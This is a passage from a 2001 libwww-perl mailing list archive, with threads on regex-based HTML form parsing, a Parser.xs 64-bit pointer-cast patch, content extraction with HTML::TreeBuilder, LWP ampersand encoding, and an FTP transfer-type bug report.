>> $res->is_sucess if, put something like:
>> $content =~ m/<input type=\"text\" size=\"10\" name=\"video_fec_errors_rx\" 
>> value=\"(.*?)\" READONLY>/;
>> $value = $1;
>> 
>> and now $value has what value is equal to.
> 
> 
> Until someone decides to rearrange the parameters or make them uppercase
> or forgo quotes or split them among several lines.
> 
> Better use one of the HTML parsing modules.
> 
> BTW, no need to escape the quotes in the regex. And what happens if
> there is no match? Then $1 has an undefined value.

Hmm...how about searching for all the <input> tags, and then parsing the 
name id tag (everything between name= and the \s), and stripping out " 
and ' where appropiate.

I was always told to code one step at a time. Sure it takes longer code, 
but it will get you everything. Also you can check the id tag for other 
values.

Josh

-- 
Josh Barker, Web Researcher (joshb@inceptor.com) This mail may contain 
links to content of a illegal, immoral or sexual nature. These are not 
affliated with Inceptor and are for purposes of illustration only.

Tel : + 44 20 7661 9508 	F: + 44 20 7240 8098 		
MSN: josh_barker@hotmail.com 	AOL: Joshua C Barker
Mail: Inceptor, 33 St James's Square, London SW1, UK


From mike@stok.co.uk Thu Feb  1 02:37:13 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa04209 for <hyper>;
          1 Feb 2001 02:37 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa16155
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 02:37 PST
Received: (qmail 25979 invoked by uid 508); 1 Feb 2001 10:37:02 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 25970 invoked from network); 1 Feb 2001 10:37:01 -0000
Received: from sm5.texas.rr.com (24.93.35.219)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 10:37:01 -0000
Received: from ratdog.stok.co.uk (cs2884-179.austin.rr.com [24.28.84.179])
	by sm5.texas.rr.com (8.11.0/8.11.1) with ESMTP id f11BUie20457;
	Thu, 1 Feb 2001 05:30:44 -0600
Date: Thu, 1 Feb 2001 04:36:58 -0600 (CST)
From: Mike Stok <mike@stok.co.uk>
Reply-To: mike@stok.co.uk
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
To: Gisle Aas <gisle@activestate.com>
cc: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: 64 bit ints & Parser.xs warnings
In-Reply-To: <lrvgqvc9m0.fsf@caliper.ActiveState.com>
Message-ID: <Pine.LNX.4.30.0102010436250.7308-100000@ratdog.stok.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Worked for me...

Thanks,

Mike

On 31 Jan 2001, Gisle Aas wrote:

> Mike Stok <mike@stok.co.uk> writes:
>
> > I was just rebuilding everything with perl 5.6.1 trial 2
> >
> > This is perl, v5.6.1 built for i586-linux-64all-ld
> > (with 1 registered patch, see perl -V for more detail)
> >
> > and noticed a couple of warnings while building HTML-Parser-3.15:
> >
> > Parser.xs: In function `get_pstate_iv':
> > Parser.xs:114: warning: cast to pointer from integer of different size
> > Parser.xs: In function `XS_HTML__Parser__alloc_pstate':
> > Parser.xs:202: warning: cast from pointer to integer of different size
> >
> > It doesn't seem to affect the make test.
>
> Can you check this patch:
>
> Index: Parser.xs
> ===================================================================
> RCS file: /cvsroot/libwww-perl/html-parser/Parser.xs,v
> retrieving revision 2.95
> diff -u -p -u -r2.95 Parser.xs
> --- Parser.xs	2000/12/26 08:52:44	2.95
> +++ Parser.xs	2001/02/01 04:25:12
> @@ -111,7 +111,7 @@ static PSTATE*
>  get_pstate_iv(SV* sv)
>  {
>    dTHX;
> -  PSTATE* p = (PSTATE*)SvIV(sv);
> +  PSTATE* p = INT2PTR(PSTATE*, SvIV(sv));
>    if (p->signature != P_SIGNATURE)
>      croak("Bad signature in parser state object at %p", p);
>    return p;
> @@ -199,7 +199,7 @@ _alloc_pstate(self)
>  	Newz(56, pstate, 1, PSTATE);
>  	pstate->signature = P_SIGNATURE;
>
> -	sv = newSViv((IV)pstate);
> +	sv = newSViv(PTR2IV(pstate));
>  	sv_magic(sv, 0, '~', 0, 0);
>  	mg = mg_find(sv, '~');
>          assert(mg);
>
> Regards,
> Gisle
>

-- 
mike@stok.co.uk                    |           The "`Stok' disclaimers" apply.
http://www.stok.co.uk/~mike/       |
GPG PGP Key 1024D/059913DA         | Fingerprint      0570 71CD 6790 7C28 3D60
stok@colltech.com (CT - work)      |                  75D2 9EC4 C1C0 0599 13DA


From jasonp@uq.net.au Thu Feb  1 03:38:11 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa06479 for <hyper>;
          1 Feb 2001 03:38 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18138
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 03:38 PST
Received: (qmail 2883 invoked by uid 508); 1 Feb 2001 11:38:05 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2874 invoked from network); 1 Feb 2001 11:38:03 -0000
Received: from fox.uq.net.au (HELO uq.net.au) (root@203.101.255.1)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 11:38:03 -0000
Received: from freezer.home (mail@dyn-19-232.dialin.uq.net.au [203.100.19.232])
	by uq.net.au (8.9.3/8.9.3) with ESMTP id VAA14476
	for <libwww@perl.org>; Thu, 1 Feb 2001 21:37:57 +1000 (GMT+1000)
Received: from henry by freezer.home with local (Exim 3.22 #1 (Debian))
	id 14OI3Z-0000pA-00; Thu, 01 Feb 2001 21:37:42 +1000
To: libwww@perl.org
Subject: Hacking HTML::TreeBuilder and HTML::Element
From: Jason Henry Parker <jasonp@uq.net.au>
Date: 01 Feb 2001 21:37:34 +1000
Message-ID: <87k87askg0.fsf@freezer.home>
Lines: 46
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: Jason Henry Parker <henry@freezer.humbug.org.au>

I'm working on a module that will be used to intelligently extract the
content from HTML pages like slashdot, lwn, or CNN---sites that use
large tables to sandwich content between columns of mostly static and
uninteresting text.

I had great success with version 0.01, but am very unhappy with the
way I've designed it.  I've created a new class, HTML::Extract, whose
source file contains some additions to the HTML::Element class to add
a `weight' attribute with a getter/setter method and an add_weights()
method which calculates scores for the subtree it's called upon.

So far, so good, right?  Well, not really, because that means standard
usage of my module looks something like:

        my $x = new HTML::Extract($html_input);
        my $x->tree->add_weights();
        my $best = $x->extract();
        # operate on the HTML::Element referenced by $best

And so the user isn't presented with an everyday object, HTML::Element
is altered without being subclassed, and Element.pm contains changes
to another module's code.  All in all, it's pretty unsatisfactory.

However, looking at TreeBuilder.pm, I see there is an internal
attribute which appears to be useful to set what sort of objects are
created by a TreeBuilder object.  Great.  Subclass TreeBuilder, and
we're away, except that won't work very well either, because
Element-derived class then really needs to have weights calculated at
object creation time, which I'm not sure is possible without serious
surgery to either or both of these modules.

In short, I don't think I can do everything I want to buy simply
subclassing or trivially altering HTML::TreeBuilder, I can't subclass
HTML::Element without at least trivially altering HTML::TreeBuilder,
and I don't want to have to rewrite the excellent HTML::TreeBuilder
module's support for parsing not-so-tidy HTML.

Has anyone on the list been here before?

jason
-- 
``Just because one proposes a measure to prevent promotion
        of a risk-filled and controversial sexual behavior
                     doesn't make them divisive or bigoted.''
                                     -- Nicholas J. Yonker,
                    Concerned Citizens for Sound Education

From jm@jmason.org Thu Feb  1 04:12:21 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07542 for <hyper>;
          1 Feb 2001 04:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa19168
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 04:12 PST
Received: (qmail 8818 invoked by uid 508); 1 Feb 2001 12:12:14 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8809 invoked from network); 1 Feb 2001 12:12:12 -0000
Received: from gw.netnoteinc.com (HELO mail.netnoteinc.com) (193.120.149.226)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 12:12:12 -0000
Received: from thalassa.netnoteinc.com (thalassa.netnoteinc.com [194.125.189.175])
	by mail.netnoteinc.com (Postfix) with ESMTP
	id 122DF11408D; Thu,  1 Feb 2001 12:12:07 +0000 (Eire)
Received: from thalassa.netnoteinc.com (localhost [127.0.0.1])
	by thalassa.netnoteinc.com (8.9.3/8.8.7) with ESMTP id MAA09505;
	Thu, 1 Feb 2001 12:04:51 GMT
Message-Id: <200102011204.MAA09505@thalassa.netnoteinc.com>
To: Jason Henry Parker <jasonp@uq.net.au>
Cc: libwww@perl.org
Subject: Re: Hacking HTML::TreeBuilder and HTML::Element 
In-Reply-To: Message from Jason Henry Parker <jasonp@uq.net.au> 
   of "01 Feb 2001 21:37:34 +1000." <87k87askg0.fsf@freezer.home> 
From: Justin Mason <jm@jmason.org>
X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A  6ADD 4137 1B50 6E58 EF0A
Date: Thu, 01 Feb 2001 12:04:21 +0000
Sender: jm@mail.netnoteinc.com


Jason Henry Parker said:

> I'm working on a module that will be used to intelligently extract the
> content from HTML pages like slashdot, lwn, or CNN---sites that use
> large tables to sandwich content between columns of mostly static and
> uninteresting text.
> [...]
> Has anyone on the list been here before?

Yep!  Sitescooper (http://sitescooper.org/) has some code for "table
smarts", which effectively translates to removing any tables that are less
than a certain # of pixels or % of page width.

This trims out most "sidebars", which in most sites contain the content
you don't want.  You'll still get any "wide" tables that appear above and
below the main content text, but:

  - most sites have recognised that these should be kept to a minimum for
    usability purposes;

  - often they aren't even rendered as tables, they're just part of the
    <td> that the text is in, so table cleverness may not help. :(

But the sitescooper implementation is a hell of a lot more simple-minded
than what you describe, so it may not be helpful.

Anyway, take a look at
http://sitescooper.org/dist/lib/Sitescooper/StripTablesFilter.pm to see
the HTML::Filter object which does this.


BTW sitescooper also includes descriptions of patterns in the HTML which
act as upper or lower bounds for content areas, in its "site files".  You
may want to think about doing it this way, it's pretty simple (but
increases the load on you to update them when the site is redesigned).

g'luck,

--j.

From gisle@activestate.com Thu Feb  1 07:05:56 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa14561 for <hyper>;
          1 Feb 2001 07:05 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23453
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 07:05 PST
Received: (qmail 23549 invoked by uid 508); 1 Feb 2001 15:05:48 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 23540 invoked from network); 1 Feb 2001 15:05:47 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 15:05:47 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id HAA10156;
	Thu, 1 Feb 2001 07:04:48 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: mike@stok.co.uk
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Cc: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: 64 bit ints & Parser.xs warnings
References: <Pine.LNX.4.30.0102010436250.7308-100000@ratdog.stok.co.uk>
From: Gisle Aas <gisle@activestate.com>
Date: 01 Feb 2001 07:04:48 -0800
In-Reply-To: Mike Stok's message of "Thu, 1 Feb 2001 04:36:58 -0600 (CST)"
Message-ID: <lr8znqzbov.fsf@caliper.ActiveState.com>
Lines: 61
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Mike Stok <mike@stok.co.uk> writes:

> Worked for me...

Good.  Then this will be how we do it in 3.16.  I also had to add a:

  #ifndef INT2PTR
     #define INT2PTR(any,d)  (any)(d)
     #define PTR2IV(p)       (IV)(p)
  #endif

to get Parser.xs to still compile with earlier perls.

--Gisle


> On 31 Jan 2001, Gisle Aas wrote:
> 
> > Mike Stok <mike@stok.co.uk> writes:
> >
> > > I was just rebuilding everything with perl 5.6.1 trial 2
> > >
> > > This is perl, v5.6.1 built for i586-linux-64all-ld
> > > (with 1 registered patch, see perl -V for more detail)
> > >
> > > and noticed a couple of warnings while building HTML-Parser-3.15:
> > >
> > > Parser.xs: In function `get_pstate_iv':
> > > Parser.xs:114: warning: cast to pointer from integer of different size
> > > Parser.xs: In function `XS_HTML__Parser__alloc_pstate':
> > > Parser.xs:202: warning: cast from pointer to integer of different size
> > >
> > > It doesn't seem to affect the make test.
> >
> > Can you check this patch:
> >
> > Index: Parser.xs
> > ===================================================================
> > RCS file: /cvsroot/libwww-perl/html-parser/Parser.xs,v
> > retrieving revision 2.95
> > diff -u -p -u -r2.95 Parser.xs
> > --- Parser.xs	2000/12/26 08:52:44	2.95
> > +++ Parser.xs	2001/02/01 04:25:12
> > @@ -111,7 +111,7 @@ static PSTATE*
> >  get_pstate_iv(SV* sv)
> >  {
> >    dTHX;
> > -  PSTATE* p = (PSTATE*)SvIV(sv);
> > +  PSTATE* p = INT2PTR(PSTATE*, SvIV(sv));
> >    if (p->signature != P_SIGNATURE)
> >      croak("Bad signature in parser state object at %p", p);
> >    return p;
> > @@ -199,7 +199,7 @@ _alloc_pstate(self)
> >  	Newz(56, pstate, 1, PSTATE);
> >  	pstate->signature = P_SIGNATURE;
> >
> > -	sv = newSViv((IV)pstate);
> > +	sv = newSViv(PTR2IV(pstate));
> >  	sv_magic(sv, 0, '~', 0, 0);
> >  	mg = mg_find(sv, '~');
> >          assert(mg);

From chris@console.org Thu Feb  1 10:44:09 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa00527 for <hyper>;
          1 Feb 2001 10:44 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06258
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 10:44 PST
Received: (qmail 21895 invoked by uid 508); 1 Feb 2001 18:44:05 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 21886 invoked from network); 1 Feb 2001 18:44:04 -0000
Received: from ool-18be3b18.dyn.optonline.net (HELO stupid.console.org) (24.190.59.24)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 18:44:04 -0000
Received: from localhost (chris@localhost)
	by stupid.console.org (8.11.1/stupid-antispam) with ESMTP id f11Ii0214168
	for <libwww@perl.org>; Thu, 1 Feb 2001 13:44:00 -0500
Date: Thu, 1 Feb 2001 13:44:00 -0500 (EST)
From: Chris Martino <chris@console.org>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: libwww and apersands (&'s)
Message-ID: <Pine.LNX.4.32.0102011343510.14161-100000@stupid.console.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello,

This is probably the wrong place to ask, but perhaps you can point me in
the right direction.

I have a perl script using LWP to post some data to a cgi.  It all works
correctly, but once in a blue moon one of the values includes an ampersand
(&) and needless to say the once that include the & don't work correctly.
Basically, I need to figure out how to get to that apersand before it gets
posted to change it to a %26.  Anyone have any ideas?

Thx,
Chris



From John_Gerrish@dot.state.ak.us Thu Feb  1 11:01:53 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa01887 for <hyper>;
          1 Feb 2001 11:01 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa07185
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 11:01 PST
Received: (qmail 25841 invoked by uid 508); 1 Feb 2001 19:01:49 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 25832 invoked from network); 1 Feb 2001 19:01:48 -0000
Received: from hydra1.dot.state.ak.us (HELO web.dot.state.ak.us) (158.145.110.231)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 19:01:48 -0000
Received: from dot.state.ak.us ([158.145.111.44]) by web.dot.state.ak.us
          (Netscape Messaging Server 3.6)  with ESMTP id AAA3E64;
          Thu, 1 Feb 2001 10:01:18 -0900
Message-ID: <3A79B2CD.E6E184A4@dot.state.ak.us>
Date: Thu, 01 Feb 2001 10:02:37 -0900
From: John Gerrish <John_Gerrish@dot.state.ak.us>
Reply-To: John_Gerrish@dot.state.ak.us
Organization: Alaska Marine Highway System
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: philip_mitchell@harvard.edu
CC: libwww@perl.org
Subject: Workaround for LWP/Solaris missing EOF bug
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Philip,
Have you ever seen reference to the 'solaris EOF bug' in either Sun or MS
literature?  Any chance anyone has a patch applied at OS or IIS level?
-Johnnie
-- 
John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
                 Alaska Marine Highway System, DOT/PF, State of Alaska
                 3132 Channel Dr, Juneau, AK  99801
Blessed are the flexible for they shall not be bent out of shape.

From chris@console.org Thu Feb  1 11:28:09 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa04188 for <hyper>;
          1 Feb 2001 11:28 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08816
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 11:28 PST
Received: (qmail 31594 invoked by uid 508); 1 Feb 2001 19:28:05 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 31582 invoked from network); 1 Feb 2001 19:28:04 -0000
Received: from ool-18be3b18.dyn.optonline.net (HELO stupid.console.org) (24.190.59.24)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 19:28:04 -0000
Received: from localhost (chris@localhost)
	by stupid.console.org (8.11.1/stupid-antispam) with ESMTP id f11JS3A14352
	for <libwww@perl.org>; Thu, 1 Feb 2001 14:28:03 -0500
Date: Thu, 1 Feb 2001 14:28:03 -0500 (EST)
From: Chris Martino <chris@console.org>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: libwww and apersands (&'s)
In-Reply-To: <Pine.LNX.4.32.0102011343510.14161-100000@stupid.console.org>
Message-ID: <Pine.LNX.4.32.0102011427520.14350-100000@stupid.console.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Nevermind... I figured it out. :)

Chris

On Thu, 1 Feb 2001, Chris Martino wrote:

> Hello,
>
> This is probably the wrong place to ask, but perhaps you can point me in
> the right direction.
>
> I have a perl script using LWP to post some data to a cgi.  It all works
> correctly, but once in a blue moon one of the values includes an ampersand
> (&) and needless to say the once that include the & don't work correctly.
> Basically, I need to figure out how to get to that apersand before it gets
> posted to change it to a %26.  Anyone have any ideas?
>
> Thx,
> Chris
>
>


From philip_mitchell@harvard.edu Thu Feb  1 11:43:28 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa05592 for <hyper>;
          1 Feb 2001 11:43 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa09828
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 11:43 PST
Received: (qmail 8141 invoked by uid 508); 1 Feb 2001 19:43:17 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8062 invoked from network); 1 Feb 2001 19:43:16 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 19:43:16 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id OAA06273;
	Thu, 1 Feb 2001 14:43:11 -0500 (EST)
Message-Id: <4.3.2.7.2.20010201143810.00b00370@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 01 Feb 2001 14:43:06 -0500
To: John_Gerrish@dot.state.ak.us
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Re: Workaround for LWP/Solaris missing EOF bug
Cc: libwww@perl.org
In-Reply-To: <3A79B2CD.E6E184A4@dot.state.ak.us>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

No, but I haven't really looked. My sysadmin turned up the following 
relevant thread in comp.unix.solaris... mentions a solaris patch.

http://x76.deja.com/getdoc.xp?AN=690080681&search=thread&CONTEXT=980286220.1420296374&HIT_CONTEXT=980286174.1422524417&HIT_NUM=14&hitnum=0

http://x76.deja.com/getdoc.xp?AN=690191763&search=thread&CONTEXT=980286220.1420296374&HIT_CONTEXT=980286174.1422524417&HIT_NUM=14&hitnum=2


At 10:02 AM 2/1/01 -0900, you wrote:
>Philip,
>Have you ever seen reference to the 'solaris EOF bug' in either Sun or MS
>literature?  Any chance anyone has a patch applied at OS or IIS level?
>-Johnnie
>--
>John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
>                  Alaska Marine Highway System, DOT/PF, State of Alaska
>                  3132 Channel Dr, Juneau, AK  99801
>Blessed are the flexible for they shall not be bent out of shape.


From noreply@sourceforge.net Thu Feb  1 11:52:30 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa06390 for <hyper>;
          1 Feb 2001 11:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10354
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 11:52 PST
Received: (qmail 12070 invoked by uid 508); 1 Feb 2001 19:52:24 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 12061 invoked from network); 1 Feb 2001 19:52:24 -0000
Received: from usw-sf-sshgate.sourceforge.net (HELO usw-sf-netmisc.sourceforge.net) (216.136.171.253)
  by tmtowtdi.perl.org with SMTP; 1 Feb 2001 19:52:24 -0000
Received: from usw-sf-web2-b.sourceforge.net
	([10.3.1.6] helo=usw-sf-web2.sourceforge.net ident=mail)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.16 #1 (Debian))
	id 14OPmJ-0006Dy-00; Thu, 01 Feb 2001 11:52:23 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.16 #1 (Debian))
	id 14OPmq-0008Rg-00; Thu, 01 Feb 2001 11:52:56 -0800
To: skander_slama@hotmail.com, noreply@sourceforge.net, libwww@perl.org
Subject: [Bug #130726] type=a code commented out in lwp5/.../ftp.pm
From: noreply@sourceforge.net
Message-Id: <E14OPmq-0008Rg-00@usw-sf-web2.sourceforge.net>
Sender: nobody <nobody@sourceforge.net>
Date: Thu, 01 Feb 2001 11:52:56 -0800

Bug #130726, was updated on 2001-Feb-01 11:52
Here is a current snapshot of the bug.

Project: libwww-perl
Category: None
Status: Open
Resolution: None
Bug Group: None
Priority: 5
Submitted by: sslama
Assigned to : nobody
Summary: type=a code commented out in lwp5/.../ftp.pm

Details: While writing a script to transmit a file from a Unix
system to a Windows FTP server using the PUT method,
I discovered that the "type=a" parameter was being
ignored.

The source code to the file
lwp5/lib/LWP/Protocol/ftp.pm
has code that checks for this parameter, but the code
is commented out and the transfer type is forced to
binary.


For detailed info, follow this link:
http://sourceforge.net/bugs/?func=detailbug&bug_id=130726&group_id=14630

From sburke@spinn.net Thu Feb  1 17:15:07 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa05181 for <hyper>;
          1 Feb 2001 17:15 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa03819
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Feb 2001 17:15 PST
Received: (qmail 7501 invoked by uid 508); 2 Feb 2001 01:15:00 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 7490 invoked from network); 2 Feb 2001 01:15:00 -0000
Received: from spinnone.spinn.net (HELO newone.spinn.net) (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 2 Feb 2001 01:15:00 -0000
Received: from 2ch0201 (dialip69.spinn.net [216.223.225.69])
	by newone.spinn.net (8.9.3/8.9.3) with SMTP id SAA31251;
	Thu, 1 Feb 2001 18:14:48 -0700
Message-Id: <3.0.6.32.20010201181426.007dc810@mail.spinn.net>
X-Sender: sburke@mail.spinn.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Thu, 01 Feb 2001 18:14:26 -0700
To: Jason Henry Parker <jasonp@uq.net.au>, libwww@perl.org
From: "Sean M. Burke" <sburke@spinn.net>
Subject: Re: Hacking HTML::TreeBuilder and HTML::Element
In-Reply-To: <87k87askg0.fsf@freezer.home>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 09:37 PM 2001-02-01 +1000, Jason Henry Parker wrote:
>[...]
>In short, I don't think I can do everything I want to buy simply
>subclassing or trivially altering HTML::TreeBuilder, I can't subclass
>HTML::Element without at least trivially altering HTML::TreeBuilder,
>and I don't want to have to rewrite the excellent HTML::TreeBuilder
>module's support for parsing not-so-tidy HTML.

Or you could just ask the TreeBuilder author.  CPAN authors have been known
to answer email now and then.


Actually, I've been meaning to solve exactly this problem by providing
either or both of:

1) a method for HTML::Element that reblesses an element (and presumably all
its descendants?) into an arbitrary class.

2) a method for HTML::TreeBuilder that (presumably once the parse is
complete) takes all the TreeBuilder-specific things out of the object and
then reblesses it into HTML::Element (or whatever the element class is).  I
briefly entertained the idea of making that actually a something that
calling $tree->eof would do, but that might just cause confusion all
around.  But having it be a method callable on demand is certainly a decent
idea.

I think it would look like simply this:

#In TreeBuilder.pm
sub elementify {
  # Rebless the current object into the normal element class.
  my $self = $_[0];
  my $to_class = ($self->{'_element_class'} || 'HTML::Element');
  delete @{$self}{ grep {;
    length $_ and substr($_,0,1) eq '_'
    and $_ ne '_tag' and $_ ne '_parent'  and $_ ne '_content'
  } };
  bless $self, $to_class;
}


As to something for the first approach, I'm almost tempted to say that if
you want to rebless HTML::Element objects into a class of your choosing (as
opposed to the nice thing, which is copying from one class into your own,
as HTML::DOMbo does), then you're already breaking encapsulation on
HTML::Element and the destination class.  So while you're being a wild man,
just bear down and make that a method for your destination class:

  $node->rebless( what_class )
and/or
